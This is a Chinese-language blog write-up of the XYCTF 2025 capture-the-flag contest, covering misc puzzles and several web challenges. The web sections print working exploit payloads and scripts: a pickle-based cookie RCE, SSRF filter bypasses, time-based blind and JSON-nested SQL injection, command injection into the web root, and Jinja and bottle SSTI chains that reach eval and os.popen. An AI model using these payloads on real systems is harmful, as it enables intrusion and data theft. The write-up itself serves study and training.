0%

xyctf2025部分复盘

misc

签个到吧

最小的,具有图灵完备性的语言是?
意思就是考bf 给了一个bf语言的附件

1
>+++++++++++++++++[<++++++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++[<+++>-+-+-+-]<[-]>++++++++++++[<+++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++[<++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>++++++++++++[<+++++++>-+-+-+-]<[-]>++++++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<[-]>+++++++++++[<++++++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<[-]>++++++++[<++++++>-+-+-+-]<[-]>+++++++++++[<+++++>-+-+-+-]<[-]>+++++++++++++++++++[<+++++>-+-+-+-]<[-]>+++++++[<+++++++>-+-+-+-]<[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<[-]>+++++++++++[<+++>-+-+-+-]<[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<[-]

brain fuck语法如下

1
2
3
4
5
6
7
8
>: 数据指针向右移动一位。
<: 数据指针向左移动一位。
+: 将指针指向的字节的值加一。
-: 将指针指向的字节的值减一。
.: 输出指针指向的字节(作为 ASCII 字符)。
,: 输入一个字节并将其值存储在指针指向的字节中。
[: 如果指针指向的字节为 0,则跳转到对应的 ] 之后。
]: 如果指针指向的字节不为 0,则跳转回对应的 [。

观察这段代码,可以发现都有一段一段的固定格式拼接 拿出一段分析

1
>+++++++++++++++++[<++++++>-+-+-+-]<[-]

这里把cell1 增加17 然后[<++++++>-+-+-+-]是一个循环,对cell0 +6然后 -+-+-+-+-最后的效果是-1,这个循环每次减1,最后当cell1=0的时候就取消循环,所以现在得到的值是17 * 6 = 102 发现这个是f的ascii码,所以这个是flag的开头,只要按这样子提取出所有的代码块就能得到flag,这里每次计算后[-]会清空cell中的内容,所以要用一个正则去匹配 然后计算

看正则: >(\+*)\[<(\+*)>.*?\].*?<\[-\] 这里捕获的就是每次两个cell中的计算器
脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import re

bf_code = """""" # 题目给的bf

# 使用正则表达式匹配每个计算块的计数器和循环内增加量
# 模式解释:
# >(\+*) : 匹配 '>' 后面跟着的0个或多个 '+' (捕获组1: 计数器)
# \[<(\+*)> : 匹配 '[<' 后面跟着的0个或多个 '+' (捕获组2: 循环内增加量)
# .*? : 非贪婪匹配任意字符,直到下一个模式
# <\[-\] : 匹配最后的清零部分
pattern = re.compile(r'>(\+*)\[<(\+*)>.*?\].*?<\[-\]')

flag = ""
matches = pattern.findall(bf_code)

for match in matches:
counter_pluses = len(match[0])
loop_pluses = len(match[1])

# 计算 ASCII 值并转换为字符
ascii_value = counter_pluses * loop_pluses
flag += chr(ascii_value)

print("提取到的 Flag 是:")
print(flag)

#flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

XGCTF

考察信息收集

1
2024年CTFshow举办了一场名为“西瓜杯”的比赛(XGCTF)。其中LamentXU在出题的时候,从某场比赛拉了道原题下来改了改,结果传文件的时候传错了传成原题了。因为这件事LamentXU的损友dragonkeep在他之前的博客上的原题wp上加了一段flag来嘲笑LamentXU。请你找到XGCTF中唯一由LamentXU出的题,并找出这题对应的原题,接着找到dragonkeep师傅的博客,并从博客上讲解该题的博文中找到flag。(hint:dragonkeep师傅因为比较穷买不起域名,因此他博客的域名在dragonkeep的基础上多了个字母)

先去ctfshow中找到LamentXU师傅出的题目 叫做easy_polluted 然后搜索一下这个原题 找到是2024ciscn华东南原题Pollute 然后搜索2024 CISCN华东南Pollute dragonkeep 就能找到博客 在注释中找到flag

会飞的雷克萨斯

2025年1月30日W1ndys上网冲浪时,收到了舍友发来的聊天记录,聊天记录显示,一小孩放鞭炮引爆地面,请定位爆炸点的具体位置,该题解出需要通过正常的osint题目做题思路

如果直接搜索这个事件只能搜到四川省内江市资中县水南镇春岚北路 后面需要查这附件的建筑,尝试后是中铁城市中心
最终的flag是flag{四川省内江市资中县春岚北路中铁城市中心内}

学到这类题目在定位之后,如果不对要适当减少,如这里的镇名字 适当增加 如这里的建筑场所名

喜欢就说出来

小Shark在上课时和自己的暗恋对象坐在了一起,小Shark想要把悄悄话和文件传给同桌,可惜小Shark没有移动硬盘,不过这难不住聪明的小Shark,小Shark在同桌的电脑上敲了几下键盘,用自己的浏览器给同桌试传了两张自己的照片和一句悄悄话,你能发现小Shark对同桌说了什么吗?会不会是……520?!呢?
要在流量包里找到局域网内的流量,看看都传了什么
偷偷喜欢是看不出来的哦!;3.R=5,G=2,B=0看看这三个颜色通道里有什么>_<

得到一个了流量包,用wireshark打开之后到处http对象

打开这个php文件,发现是png文件 这个png文件要把前面的http请求头删掉,不然图片打不开
然后用010打开发现有两个IDHR头 和题目说的两张图片对应了

用tweakpng 打开 然后先把原来的图片复制两份 分离出两个png

这里有两种形式的块 先删除一种
然后这里图片头和图片尾 把它们放在两边,然后现在保存 打开图片可以看到一部分 继续调整中间的部分
跟着wp复现调整,好像就是要一直尝试得到第一部分的flag 然后另一张图片也用同样的办法
另一张图片要把属于第一张图片所有的块都删除
第二张里没有什么内容,根据题目的提示用stegsolve打开 rgb改成520

flag{WatAshl_W@_anAta_G@_t0kubetsu_Suki!!!}
这题还是学到了很多

曼波曼波曼波

拿到附件之后发现是一个base64,开头是等于号,说明是逆序,在cyberchef中解码,保存图片

然后用binwalk分离一下隐藏内容

1
2
3
4
5
6
7
8
9
10
11
12
13
(base) kakeru@bogon Downloads % binwalk -e /Users/kakeru/Downloads/manbo.jpg

/Users/kakeru/Downloads/extractions/manbo.jpg
---------------------------------------------------------------------------------------------------------------------
DECIMAL HEXADECIMAL DESCRIPTION
---------------------------------------------------------------------------------------------------------------------
0 0x0 JPEG image, total size: 257649 bytes
257649 0x3EE71 ZIP archive, file count: 1, total size:
1951848 bytes
---------------------------------------------------------------------------------------------------------------------
[#] Extraction of jpeg data at offset 0x0 declined
[+] Extraction of zip data at offset 0x3EE71 completed successfully
-------------------------------------------------------------------------------

得到zip后,里面提示密码是XYCTF2025
得到第二张图片,

这个是盲水印bwm工具的默认图片,直接用puzzlesolver解这个盲水印


XYCTF{easy_yin_xie_dfbfuj877}

web

Signin

感觉并不是很signin(
这题的考点是pickle反序列化
在python中也有序列化,pickle就是提供反序列化的一个包 在需要从字符串中提取一个对象的时候就要反序列化,不恰当的反序列化就会造成攻击,和php的一样。
序列化:pickle.dumps() 反序列化: pickle.loads() 反序列化底层基于_Unpickler类
pickletools是python自带的pickle调试器 主要有三个功能「反汇编」一个已经被打包的字符串、「优化」一个已经被打包的字符串、返回一个迭代器来供程序使用
__ruduce__方法类似于php中的wakeup方法,在反序列化执行时会调用这个方法,返回值的第一个参数是函数名,第二个参数是元组,是第一个函数的参数 可以利用这个ruduce函数来rce

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os

class kakeru(){
def __init__(self):
self.data = x
def __ruduce__(self):
return(os.system,("whoami",))

}
paylod = pickle.dumps(kakeru())
print(payload)

把生成的payload给另一个类就可以了
现在来看这道题 源码给了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

这里可以读取文件绕过方式可以用./.././../ 读取到secret Hell0_H@cker_Y0u_A3r_Sm@r7
在secret路由下面用到了get_cookie来鉴权,这里看定义可以发现用到了pickle.loads

本地写个exp然后用bottle.cookie_encode来对cookie值进行编码

1
2
3
4
5
6
7
8
9
10
import bottle
import os

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
class exp():
def __reduce__(self):
return("eval",("__import__('os').popen('cp /f* /secret.txt')",))

print (bottle.cookie_encode(exp()))

这里是学习的复制到/secret.txt来避免权限问题

然后访问secret.txt就能拿到flag

fate

这题主要考察ssrf json反序列化漏洞 还有一点sql注入的知识
app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)

return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")

name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""

fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")

return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
app.run(debug=True)

init_db.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sqlite3

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
NAME TEXT NOT NULL,
FATE TEXT NOT NULL
);""")
Fate = [
('JOHN', '1994-2030 Dead in a car accident'),
('JANE', '1990-2025 Lost in a fire'),
('SARAH', '1982-2017 Fired by a government official'),
('DANIEL', '1978-2013 Murdered by a police officer'),
('LUKE', '1974-2010 Assassinated by a military officer'),
('KAREN', '1970-2006 Fallen from a cliff'),
('BRIAN', '1966-2002 Drowned in a river'),
('ANNA', '1962-1998 Killed by a bomb'),
('JACOB', '1954-1990 Lost in a plane crash'),
('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()

从结果出发,最终需要获取到的值是'LAMENTXU', r'2024 Send you a flag flag{FAKE}' , 要想查询到这个数据库里的内容就要在路由1337下,想进入这个路由需要本地访问,现在首要的目标就是如何ssrf
有一个proxy路由可以设置代理,但是过滤了.所以不能直接使用127.0.0.1 而这里默认是跳转到http://lamentxu.top我们还要绕过这一重限制。 之前做bp实验室中也有相关的绕过手段https://guayu-kakeru.github.io/posts/37808.html
绕过.可以使用不同的进制 比如

1
2
(127 × 256³) + (0 × 256²) + (0 × 256¹) + (1 × 256⁰)
= 2130706433

绕过跳转可以用@ , 这个会让@前面当作是账号
访问/proxy?url=@2130706433:8080/1337 端口在8080

成功了,所以现在ssrf成功了
然后需要让一个参数0 = abcdefghi 这里的黑名单是blacklist = string.ascii_letters 所有的字母
绕过可以用url编码%61%62%63%64%65%66%67%68%69
1这个参数来查询数据库
第一个解决转换问题req = binary_to_string(req) 让ai写一个string_to_binary函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def string_to_binary(input_string):
binary_chunks = []

for char in input_string:
ascii_value = ord(char)
binary_chunk = bin(ascii_value).replace('0b', '')
#确保每个二进制块都是8位长,不足的在前面补0
padded_binary_chunk = binary_chunk.zfill(8)
binary_chunks.append(padded_binary_chunk)

return ''.join(binary_chunks)

malicious_payload = '{"name":"john"}'

data_to_send = string_to_binary(malicious_payload)

print(f"原始恶意字符串: {malicious_payload}")
print(f"需要发送的二进制表示: {data_to_send}")


现在就是用john这个第一条人名做实验,发现可以了,但是我们要读取的人名太长了超过6个字符,不符合要求
绕过方式是用json 格式, 这里取的是name的长度,我们让name的值又是一个字典,这样子name的长度就只有1了
然后再用一个简单的sql注入就可以了
malicious_payload = '{"name": {"))))))) or 1=1 limit 1 offset 9-- +":"1"}}'
用上面的转换脚本生成二进制数

1
0111101100100010011011100110000101101101011001010010001000111010001000000111101100100010001010010010100100101001001010010010100100101001001010010010000001101111011100100010000000110001001111010011000100100000011011000110100101101101011010010111010000100000001100010010000001101111011001100110011001110011011001010111010000100000001110010010110100101101001000000010101100100010001110100010001000110001001000100111110101111101

拿到flag
感觉容易卡住的点是绕过name的长度限制,ssrf还是挺常规的

ezpuzzle

考察前段的js调试

当然是不能手动调试的

不能通过快捷键打开调试就用手动打开
然后可以找到一个puzzle.js文件,自己看可能有点多,可以扔给ai有下面几种思路
1 直接修改判断是否胜利的返回值

这个函数返回F3KH_(h, O)

把这个函数的返回值改成0x1
第二种是把startTtime改成特别大

最后一种是非预期解
直接访问这个js代码的地方 前面有一对base64

解密后是zlib文件

在cyberchef中先用from base64 然后用zlib Inflate得到一长串的json

这里就是flag 反转一下然后from hex

ezsql

先fuzz一下waf

发现username这里过滤了很多 但是没有过滤or 空格可以用/t(tab键)绕过
username=1 or 1=1#&password=1登陆进来

这里就是要我们获取到这个key的值,
接下来写一个时间盲注的脚本来获取表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time
url = "http://gz.imxbt.cn:20668/"
flag = ""

for i in range(1,32):
low,high = 32,127
while low < high :
mid = (low + high) // 2
payload = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
data = {
'username': "1'or\t1=",
'password' : f"or if(ascii(substr(({payload}),{i},1)) > {mid},sleep(1),1)#"
}
times = time.time()
r = requests.post(url = url ,data = data)
if(time.time() - times >= 1):
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else :
break
print(f"[+]: {flag}")


double_check 得到这个表名后想继续得到列名,但是没有返回
在登陆界面中密码中输入单双引号之后,发现没有报语法错误,说明被转义了,
那现在就不需要列名,用无列名注入

1
payload = "select x from (select 1 as x union select * from double_check limit 1,1)a"

得到key dtfrtkcc0czkoua9S
用万能密码登陆后,用这个key可以执行命令,但是没有回显

而且尝试之后发现过滤了空格
用cat 写入文件 cat${IFS}/f*>/var/www/html/a.txt

Now you see me 1

这题可以说给只知道ssti入门的我带来了强大的冲击,原来ssti有这么花式手段
拿到附件后,有很长一段base64,解码之后就是源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)
1
`flask.render_template_string` 这个函数就是明示这题是ssti了。输入的参数必须以`Follow-your-heart-`开头,而且`{##}`是jinja的注释语法,所以要绕过这个的payload是`#}{%print(payload)%}{#`这里是`{{}}`被过滤所以用`{%%}`绕过。

现在可以输入之后,考虑的就是怎么绕过waf,这里ban了很多,基本要用到的方法都被过滤了,所以要用到ssti中强大的request的方法来绕过,虽然禁用了"method", "cookies", "application", 'data', 'url'等,但是还是有很多可以用的,比如request.mimetype 请求体的 MIME 类型,从 Content-Type 请求头中解析得到。

现在可以可以在本地起一个这个服务,不使用这个waf,然后找到可以利用的类
可以用print(().__class__.__base__.__subclasses__())找一个可以用的类
把返回的内容给脚本,找到warnings.catch_warnings这个类

1
2
3
4
for index,x in enumerate(subclasses_list):
if "warnings.catch_warnings" in x:
print(index,x)
break

得到226
为了执行命令,最后的payload应该是

1
#}{%print(().__class__.__base__.__subclasses__()[389].__init__.__globals__.__getitem__('__builtins__').eval('print(1)'))%}{#

为了得到class这个魔法方法,就需要用到request.mimetype 获取请求头的内容,还可以用request.origin来获取getitem 字符之间用~拼接
传入Content-Type: abcdefghijklmnopqrstuvwxyz_

1
2
3
4
5
6
7
8
9
10
11
12
n = {'a':0,'b':1,'c':2,'d':3,'e':4,'f':5,'g':6,'h':7,'i':8,'j':9,'k':10,'l':11,'m':12,'n':13,'o':14,'p':15,'q':16,'r':17,'s':18,'t':19,'u':20,'v':21,'w':22,'x':23,'y':24,'z':25,'_':26}

def invert(s):
result = ""
for ch in s:
result += f"request.mimetype|attr(request.origin)({n[ch]})~"

result = result[:-1]
return result

print(invert("read"))

这里利用了|attr代替.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_  request.mimetype|attr(request.origin)(-1)

__class__ request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(2)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(0)+request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)

__base__ request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(0)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(4)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)

__subclasses__ request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(20)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(2)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(0)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(4)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)

__init__ request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(13)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(19)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)

__globals__ request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(6)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(14)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(0)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)

__builtins__ request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(20)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(19)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(13)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)

下面是可以利用更多的request的方法
参考大佬的pyload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-Follow-your-heart-{%print((flask|attr(request.authorization.token)|attr(request.mimetype)|attr(request.pragma|string)(request.authorization.type)).eval(request.origin))%} HTTP/1.1
Host: gz.imxbt.cn:20723
Cache-Control: max-age=0
Pragma: __getitem__
Upgrade-Insecure-Requests: 1
Origin: open('/flag_h3r3', 'r', encoding='utf-8', errors='ignore').read()
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 
Authorization: __builtins__ __init__
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: __globals__
Connection: keep-alive

但是我在本地复现的时候这个方法没有返回,这里flask对象不知道为什么用这个,这个有eval类吗?

下面是第三种办法 就是mimetype的值写成args,这样子就可以用url中的参数了 结合刚才找到226个元素有eval方法
我们要用的payload是

1
2
3
4
5
6
7
8
9
10
11
().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(226).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')("__import__('os').popen('ls -al /').read()")

0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:eval
8:__import__('os').popen('ls -al /').read()
1
2
3
4
5
6
7
8
9
10
My_ins1de_w0r1d:Follow-your-heart-%23}{%print(((((((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))()|attr((request|attr(request.mimetype)).get(2|string)))(226)|attr((request|attr(request.mimetype)).get(4|string))|attr((request|attr(request.mimetype)).get(5|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(6|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(7|string)))((request|attr(request.mimetype)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:eval
8:__import__('os').popen('ls -al /').read()


成功执行命令之后,发现直接用popen(“base64 /flag_h3r3”).read() 返回文件太大
那就开一个http服务 我们本地把文件下载下来
python3 -m http.server 44444
文件下载下来之后可以在010中查看二进制,找到flag flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!}

Now you see me 2

比上一题的黑名单多了一些 但是还有以下几个可以用

1
2
3
4
5
6
7
8
9
blueprint
blueprints
date
endpoint
origin
range
scheme
server
shallow

那还是用上面一样的方法 把mimetype都改成origin

1
2
3
4
5
6
7
8
9
10
11
GET /H3dden_route?spell=fly-%23}{%print(((((((()|attr((request|attr(request.origin)).get(0|string))|attr((request|attr(request.origin)).get(1|string))|attr((request|attr(request.origin)).get(2|string)))(0)|attr((request|attr(request.origin)).get(3|string)))()|attr((request|attr(request.origin)).get(2|string)))(226)|attr((request|attr(request.origin)).get(4|string))|attr((request|attr(request.origin)).get(5|string))|attr((request|attr(request.origin)).get(2|string)))((request|attr(request.origin)).get(6|string))|attr((request|attr(request.origin)).get(2|string)))((request|attr(request.origin)).get(7|string)))((request|attr(request.origin)).get(8|string)))%}{%23&0=__class__&1=__bases__&2=__getitem__&3=__subclasses__&4=__init__&5=__globals__&6=__builtins__&7=eval&8=__import__('os').popen('whoami').read() HTTP/1.1
Host: gz.imxbt.cn:20748
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Origin: args

但是这题命令没有回显, 可以利用flask中的静态路由/static用cp把flag copy过去 注意先用mkdir static创建目录, 得到一张照片,

https://toolgg.com/image-decoder.html中解密

出题人已疯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

这里主要考察的是payload的长度要小于25
也是一道ssti的问题
这题利用的是python中的os特性 就是我们可以把变量存在os的属性中,这个属性可以是自己创建的

1
2
3
4
import os

os.a = '1'
print(os.a)

输出就是1
思路就是把payload分成片段小组,存在os的属性中 然后执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url='http://gz.imxbt.cn:20750/attack'

payload="__import__('os').system('ls />123')"


p=[payload[i:i+4] for i in range(0,len(payload),4)]
flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;os.a+="{i}"'
r=requests.get(url,params={"payload":tmp})
r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r=requests.get(url,params={"payload":"\n%include('123')"}).text
print(r)

